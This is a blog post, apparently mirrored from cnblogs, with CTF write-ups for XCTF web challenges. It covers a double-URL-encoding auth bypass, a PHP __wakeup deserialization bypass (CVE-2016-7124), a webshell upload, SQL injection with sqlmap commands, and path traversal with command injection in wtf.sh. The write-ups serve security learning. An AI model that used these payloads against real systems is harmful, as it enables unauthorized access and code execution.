zoukankan      html  css  js  c++  java
  • 攻防世界 — Web进阶题(第11

    https://knlvre.github.io/

    PHP2

    进入题目后只有一句话: Can you anthenticate to this website? ,没有其他东西,扫描目录页无果。尝试在index.phps,得到源码

    11-1

    但是显然代码并不完整,右键查看源代码,得到如下

    <?php
    if("admin"===$_GET[id]) {
      echo("<p>not allowed!</p>");
      exit();
    }
    
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "admin")
    {
      echo "<p>Access granted!</p>";
      echo "<p>Key: xxxxxxx </p>";
    }
    ?>
    
    Can you anthenticate to this website?
    

    刚开始看到一个 强类型(===) 和一个 弱类型(==) 向通过他们二者的区别绕过,回来发现不可行

    这题正确姿势是:

    ① php 在 GET 一个参数之前,会先自动urldecode

    ② %25 === url解码 ===> %

    ③ %61 === url解码 ===> a

    ?id=%2561dmin
    

    11-2

    当我们传入%2561dmin后,第一次自动 urldecode 结果为 %61dmin,第一个匹配 "admin" === "%61dmin"失败

    第二次匹配前又 urldecode 一次,所以第二次匹配"admin" == "admin"成功,拿下 flag

    unserialize3

    题目进去看到代码

    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    ?code=
    

    先介绍一下 __wakeup() 魔术方法

    它是 PHP 序列化的魔术方法之一, unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源

    根据题目的意思,应该是要求我们通过code参数,传入序列化字符串,然后服务器会用unserialize()处理参数,而xctf类中存在 __wakeup() 魔术方法,所以会被先调用,执行exit()函数,退出页面。我们只要想办法使其不调用 __wakeup() 魔术方法就可以拿到 flag

    后来发现这个思路是 __wakeup()魔术方法绕过(CVE-2016-7124)

    漏洞影响版本:
    PHP5 < 5.6.25
    PHP7 < 7.0.10

    漏洞产生原因:
    如果存在 __wakeup 方法,调用 unserilize() 方法前则先调用 __wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执

    首先,生成序列化字符串

    <?php
    
    class xctf{
        public $flag = '111';
        public function __wakeup(){
            exit('bad requests');
        }
    }
    
    $knlvre = new xctf();
    
    print(serialize($knlvre));
    
    ?>
    

    12-1

    我们将得到的序列化字符串中的变量数量从1改为2,或者 2 以上的数字,拿下 flag

    ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
    

    upload1

    先尝试上传1.php,还没点击上传就提示我请上传图像文件,猜测是前端代码检测

    先将文件名改为1.png,抓包修改后缀为.php,上传成功,并且后缀就是为 .php

    既然可以上传,就直接上传一个大马

    连接成功,在../flag.php中拿到 flag

    13-1

    ics-04

    题目描述: 工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag

    进入题目后按照题目描述,发现有注册登陆忘记密码三个功能界面,注册一个普通用户登陆后提示:普通用户登录成功,没什么用

    对三个界面依次尝试,最后在找回密码界面找到突破口

    首先尝试一个不存在的用户(admin),添加 单引号 也没有报错,只是提示 没有这个用户。但是使用万能密码(admin' or '1)尝试时,却是直接绕过

    14-1

    列数为4,注入点在3

    admin' union select 1,2,3,4 #
    

    14-2

    sqlmap

    python2 sqlmap.py -u "http://111.198.29.45:45199/findpwd.php" --data="username=1" --dbs
    

    14-3

    python2 sqlmap.py -u "http://111.198.29.45:45199/findpwd.php" --data="username=1" -D cetc004 --tables
    #返回 user
    
    python2 sqlmap.py -u "http://111.198.29.45:45199/findpwd.php" --data="username=1" -D cetc004 -T user --dump
    

    14-4

    answerpassword已经被加密了,并且无法破解。后来发现username字段并不是加密(因为拿这个用户名去重置密码是可以的),然后利用注册页面,可以重复注册用户的漏洞,再次注册这个用户名,密码自己知道,然后用这个用户名去登录,直接拿到 flag(本题登录界面应该是判断如果登录用户名是c3tlwDmIn23,就会直接给 flag)

    14-5

    Triangle

    题目进去之后只有一个输入框,没有利用点。后来右键查看源代码,发现可疑的JS

    function login(){
        var input = document.getElementById('password').value;
        var enc = enc_pw(input);
        var pw = get_pw();
        if(test_pw(enc, pw) == 1){
            alert('Well done!');
        }
        else{
            alert('Try again ...');
        }
    }
    

    但是上面提到的函数没有在源码页面找到,后来在secret.js中发现

    function test_pw(e, _) {
        var t = stoh(atob(getBase64Image("eye"))),
        r = 4096,
        m = 8192,
        R = 12288,
        a = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
        a.reg_write_i32(uc.ARM_REG_R9, m),
        a.reg_write_i32(uc.ARM_REG_R10, R),
        a.reg_write_i32(uc.ARM_REG_R8, _.length),
        a.mem_map(r, 4096, uc.PROT_ALL);
        for (var o = 0; o < o1.length; o++) a.mem_write(r + o, [t[o1[o]]]);
        a.mem_map(m, 4096, uc.PROT_ALL),
        a.mem_write(m, stoh(_)),
        a.mem_map(R, 4096, uc.PROT_ALL),
        a.mem_write(R, stoh(e));
        var u = r,
        c = r + o1.length;
        return a.emu_start(u, c, 0, 0),
        a.reg_read_i32(uc.ARM_REG_R5)
    }
    function enc_pw(e) {
        var _ = stoh(atob(getBase64Image("frei"))),
        t = 4096,
        r = 8192,
        m = 12288,
        R = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
        R.reg_write_i32(uc.ARM_REG_R8, r),
        R.reg_write_i32(uc.ARM_REG_R9, m),
        R.reg_write_i32(uc.ARM_REG_R10, e.length),
        R.mem_map(t, 4096, uc.PROT_ALL);
        for (var a = 0; a < o2.length; a++) R.mem_write(t + a, [_[o2[a]]]);
        R.mem_map(r, 4096, uc.PROT_ALL),
        R.mem_write(r, stoh(e)),
        R.mem_map(m, 4096, uc.PROT_ALL);
        var o = t,
        u = t + o2.length;
        return R.emu_start(o, u, 0, 0),
        htos(R.mem_read(m, e.length))
    }
    function get_pw() {
        for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++) _ += String.fromCharCode(e[o3[t]]);
        return _
    }
    

    js代码逆向,先不去接触这个知识点(参考: https://blog.csdn.net/gonganDV/article/details/96285636

    wtf.sh-150

    注册时,无法注册admin用户,注册一个普通用户,登录后可以 post 文章

    观察URL,查看某篇文章时通过post参数提交给一个名为post.wtf的页面。查看用户的所有posts时,通过user参数提交给profile.wtf页面

    对 post.wtf 的 post 参数进行fuzz,发现目录穿越

    15-1

    尝试,得到内容

    ?post=../
    

    大专栏  攻防世界 — Web进阶题(第115-2.png" alt="15-2"/>

    拿到的貌似是源码,大约地看一遍,突然看到flag字样

    15-3

    根据源码的内容来看,这应该是profile.wtf的源码,注意看获取 flag 的语句:

    ① 登陆;② cookies 字段中的name参数值为 admin;③ 这个 ${username}参数值为 admin

    $ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1
    

    现在比较奇怪的就是这个 ${username} 参数,注意代码中上面的几行

    ① 这个 ${username} 似乎是根据 URL 中的 user 参数,然后从 users 文件中取出来(猜测这个 users 文件存储所有用户的全部或部分信息);②返回字符串 用户名+’s posts 和所有文章(这就是 profile.wtf 的界面)

    file_existsusers/${URL_PARAMS['user']} $ then $ local username=$(head -n 1 users/${URL_PARAMS['user']}); 
    
    $ echo ${username}'s posts: 
    
    $ echo $ get_users_posts${username}
    

    现在知道 ${username} 就是用户注册的用户名,而这个值是根据 URL 中的 user 参数,然后从 users 文件中取出来,看一下 profile.wtf 提交请求时的 user 参数

    15-4

    可以看到 user 应该是被加密,并且能在 users 文件中对应某个账户,而拿到 flag 的其中一步就是让 ${username} 变量的值等于 admin ,必须拿到 users 文件中 admin 对应的 user 的值。既然存在目录穿越,所以现在就可以直接试着去读取 users 文件

    15-5

    虽然没能看到 user 值,但是看到了类似TOKEN的值,对比一下我自己随便注册的用户

    15-6

    15-7

    现在可以确定这个类似 TOKEN 的字段就是 TOKEN,试着用其登录 admin

    15-8

    登陆成功

    15-9

    迫不及待的点击 profile 拿到了 user 字段的值

    15-10

    修改这三个字段:URL 中的 userCookie 中的 USERNAMECookie 中的 TOKEN,拿到了 flag 但是只有一半

    xctf{cb49256d1ab48803
    

    15-11

    继续看源代码,发现

    max_page_include_depth=64
    page_include_depth=0
    function include_page {
        # include_page &lt;pathname&gt;
        local pathname=$1
        local cmd=""
        [[ "${pathname:(-4)}" = '.wtf' ]];
        local can_execute=$?;
        page_include_depth=$(($page_include_depth+1))
        if [[ $page_include_depth -lt $max_page_include_depth ]]
        then
            local line;
            while read -r line; do
                # check if we're in a script line or not ($ at the beginning implies script line)
                # also, our extension needs to be .wtf
                [[ "$" = "${line:0:1}" &amp;&amp; ${can_execute} = 0 ]];
                is_script=$?;
    
                # execute the line.
                if [[ $is_script = 0 ]]
                then
                    cmd+=$'n'"${line#"$"}";
                else
                    if [[ -n $cmd ]]
                    then
                        eval "$cmd" || log "Error during execution of ${cmd}";
                        cmd=""
                    fi
                    echo $line
                fi
            done &lt; ${pathname}
        else
            echo "&lt;p&gt;Max include depth exceeded!&lt;p&gt;"
        fi
    }
    

    以及一段可以执行 wtf 文件的 reply 函数,存在路径穿越

    function reply {
        local post_id=$1;
        local username=$2;
        local text=$3;
        local hashed=$(hash_username "${username}");
    
        curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
        next_reply_id=$(awk '{print $1+1}' &lt;&lt;&lt; "${curr_id}");
        next_file=(posts/${post_id}/${next_reply_id});
        echo "${username}" &gt; "${next_file}";
        echo "RE: $(nth_line 2 &lt; "posts/${post_id}/1")" &gt;&gt; "${next_file}";
        echo "${text}" &gt;&gt; "${next_file}";
    
        # add post this is in reply to to posts cache
        echo "${post_id}/${next_reply_id}" &gt;&gt; "users_lookup/${hashed}/posts";
    }
    

    点击浏览器用户点击 reply,回复抓包修改 post 参数的路径(后面要加 %09 制表符才不会被当做目录解析)

    15-12

    访问

    15-13

    然后注册用户名为可执行命令的用户,如 ${find,/,-iname,get_flag2},注意注册的时候不能用空格,要用英文字母的逗号代替。重复上面提交到 m.wtf 的步骤,然后访问就可以 命令执行

    15-14

    15-15

    最后注册用户 $/usr/bin/get_flag2,访问 m.wtf

    Flag: 149e5ec49d3c29ca}
    

    15-16

    ics-07

    题目描述:工控云管理系统项目管理页面解析漏洞

    还是那个熟悉的界面,点击项目管理,左下角有view-source.php可以查看源码

    <?php
    session_start();
    
    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }
    
    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }
    
    ?>
    
    <form action="#" method="get">
      page : <input type="text" name="page" value="">
      id : <input type="text" name="id" value="">
      <input type="submit" name="submit" value="submit">
    </form>
    <br />
    <a href="index.phps">view-source</a>
    
    <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;
    
       if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
           chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>
    
    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }
    
      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>
    

    首先需要使得$_SESSION['admin'] = True才能去写文件

    17-1

    然后貌似题目环境出问题了,因为提交id=1/9提示Could not connect: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2),先不做

    i-got-id-200

    8-1

    Forms页面对提交的数据有返回,File页面可以上传文件

  • 相关阅读:
    python 多个变量赋值
    python标准数据类型
    Python 变量类型
    H3C 扩展ACL与基于时间的ACL
    H3C BGP-filter-policy
    H3C 标准ACL
    H3C BGP实验集合
    H3C IS-IS实验大集合(ipv6)
    H3C ISIS实验大集合(IPv4)
    JS 封装一个显示时间的函数
  • 原文地址:https://www.cnblogs.com/lijianming180/p/12389572.html
Copyright © 2011-2022 走看看